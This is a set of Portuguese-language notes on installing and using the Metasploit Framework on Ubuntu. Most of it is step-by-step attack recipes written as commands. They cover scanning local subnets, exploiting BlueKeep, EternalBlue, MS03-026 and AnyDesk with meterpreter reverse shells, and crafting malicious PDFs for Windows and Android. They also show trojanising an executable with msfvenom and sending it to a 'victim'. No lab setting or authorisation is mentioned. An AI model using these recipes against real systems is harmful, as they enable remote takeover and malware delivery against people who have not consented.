Instalando e Executando o Metasploit Framework no Ubuntu 20.xx

https://www.metasploit.com/

1) https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

2) sudo apt install curl

3) sudo curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

4) run msfconsole to get started

4.1) msfconsole

5) would you like to use and setup a new database (recommended)? Yes

6) MSF Web Service Credentials

6.1) Initial MSF web service account username? Usuário home atual

6.2) Initial MSF web service account password? (Leave blank for random password): deixar em branco usando senha randomica

7) =[metasploit v6.0.12-dev-   ]
+ -- --=[2069 exploits - 1120 auxiliary - 352 post   ]
+ -- --=[592 payloads - 45 encoders - 10 nops   ]
+ -- --=[7 evasion   ]

Metasploit tip: Search can apply complex filters such as search cve:2009 type:exploit, see all the filters with help search

msf6 >

8) Caso a máquina seja reiniciada é necessário reiniciar o msfdb

8.1) msfdb stop
Database is no longer running at /home/carlos_moura/.msf4/db
MSF web service is no longer running
Deleting MSF web service PID file /home/carlos_moura/.msf4/msf-ws.pid

8.2) msfdb start
Starting database at /home/carlos_moura/.msf4/db...success
Attempting to start MSF web service...success
MSF web service started and online

9) msfconsole

ANOTAÇÕES

Comandos Básicos

msf > help → ajuda… mostra todos os comandos

msf > show → mostra módulos, payloads, exploits e informações

msf > search → busca, procura

msf > info → informações

msf > use → carrega o módulo, payload, exploits e etc para ser usado)

msf > connect → usuado para conectar a um host remoto

msf > set → usuado para configurar parametros

msf > check → usado para verificar se o alvo é vulnerável a um certo exploit

msf > run → alias para o comando exploit

msf > exploit → executa um exploit após configurado

msf > back → usado para “sair” de um exploit ou módulo após uso

msf > resource → executa um script dentro do msfconsole

Exemplos

Vulnerabilidade MSSQL

msf > search mssql

use scanner/mssql/mssql_ping

show options

set RHOSTS 192.168.1.0/24

set PASSWORD *********

set THREADS 50

exploit

Vulnerabilidade SSH

msf > use scanner/ssh/ssh_version

msf > show options

set RHOSTS 192.168.1.0/24

set THREADS 50

exploit

Vulnerabilidade FTP

msf > use scanner/ftp/anonymous

set FTPPASS mozilla@example.com

set FTPUSER anonymous

set RHOSTS 192.168.1.0/24

set THREADS 50

exploit

Vulnerabilidade Password Sniffing

msf > use auxiliary/sniffer/psnuffle

msf > show options

set RHOSTS 192.168.1.0/24

exploit

Vulnerabilidade SNMP Sweeping

msf > use auxiliary/scanner/snmp/snmp_login

show options

set PASSWORD *********

set RHOSTS 192.168.1.0/24

set THREADS 50

exploit

Vulnerabilidade SMB Login Check

msf > use auxiliary/scanner/smb/login

show options

set RHOSTS 192.168.1.0/24

set SMBUser admin

set SMBPass admin

exploit

Vulnerabilidade VNC Authentication None

msf > use scanner/vnc/vnc_none_auth

show options

set RHOSTS 192.168.1.0/24

set THREADS 50

exploit

Vulnerabilidade Open X11

msf > use scanner/x11/open_x11

show options

set RHOSTS 192.168.1.0/24

set THREADS 50

exploit

Vulnerabilidade Simple TFTP

msf > use exploit/linux/http/cisco_prime_inf_rce

show options

set RHOSTS 192.168.1.0/24

set LHOST 192.168.1.112

exploit

Vulnerabilidade BlueKeep – CVE-2019-0708

msf > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

set PAYLOAD windows/meterpreter/reverse_tcp

show options

set RDP_CLIENT_IP 192.168.*.*

set RHOSTS 192.168.*.*

set LHOST 192.168.1.112

exploit

Vulnerabilidade Anydesk – CVE-2020_13160

msf > use exploit/linux/misc/cve_2020_13160_anydesk

show options

set RHOSTS 192.168.*.*

set LHOST 192.168.1.112

exploit

Ataques

Vulnerabilidade Stack Buffer Overflow no Adobe Reader

Vamos começar criando nosso arquivo .PDF

msf > use exploit/windows/fileformat/adobe_utilprintf

set FILENAME teste.pdf

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.*.*

set LPORT 4455

Verificando se não está faltando nenhuma opção no Exploit ou no Payload

show missing

Executando

exploit (arquivo .PDF criado)

Colocando o msfconsole para escutar a porta 4455

msf > use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.*.*

set LPORT 4455

Verificando se não está faltando nenhuma opção no Exploit ou no Payload

show missing

Executando

exploit

Vulnerabilidade Microsoft RPC DCOM Interface - Remote Overflow (MS03-026)

msf > use exploit/windows/dcerpc/ms03_026_dcom

set RHOSTS 192.168.*.*

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.*.*

set LPORT 4444

Verificando se não está faltando nenhuma opção no Exploit ou no Payload

show missing

Executando

exploit

Vulnerabilidade EternalBlue

Buscando uma vítima

msf > use auxiliary/scanner/smb/smb_ms17_010

set RHOSTS 192.168.*.*

set THREADS 50

exploit

Preparando o ataque

back

msf > use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS 192.168.*.* (ip da vitima)

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.*.*

Verificando se não está faltando nenhuma opção no Exploit ou no Payload

show missing

Executando

exploit

Uma experiencia com Android

Vamos começar criando nosso arquivo .PDF

msf > use exploit/android/fileformat/adobe_reader_pdf_js_interface

set FILENAME teste.pdf

set PAYLOAD payload/android/meterpreter/reverse_tcp

set LHOST 192.168.*.*

set LPORT 4444

Verificando se não está faltando nenhuma opção no Exploit ou no Payload

show missing

Executando

exploit (arquivo .PDF criado)

Colocando o msfconsole para escutar a porta 4455

msf > use exploit/multi/handler

set PAYLOAD payload/android/meterpreter/reverse_tcp

set LHOST 192.168.*.*

set LPORT 4444

Verificando se não está faltando nenhuma opção no Exploit ou no Payload

show missing

Executando

exploit

Infectando um arquivo com payload usando o msfvenom

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.x.x lport 443 -x /diretório escolhido/ arquivo escolhido .exe -k -e x86/shikata_ga_nai -i 10 -f exe > /diretório escolhido/arquivo escolhido .exe

-p = gera payloads executáveis
-x = arquivo executável que será infectado
-k = preserva a integridade do arquivo infectado
-e = encoder
-i = quantidade de vezes em que o payload será criptografado
-f = formato

Após a infecção do arquivo enviar para vítima

Iniciar o metasploit

msf > use multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.*.*

set LPORT 443

exploit

Escutando e aguardando conexão com a máquina da vítima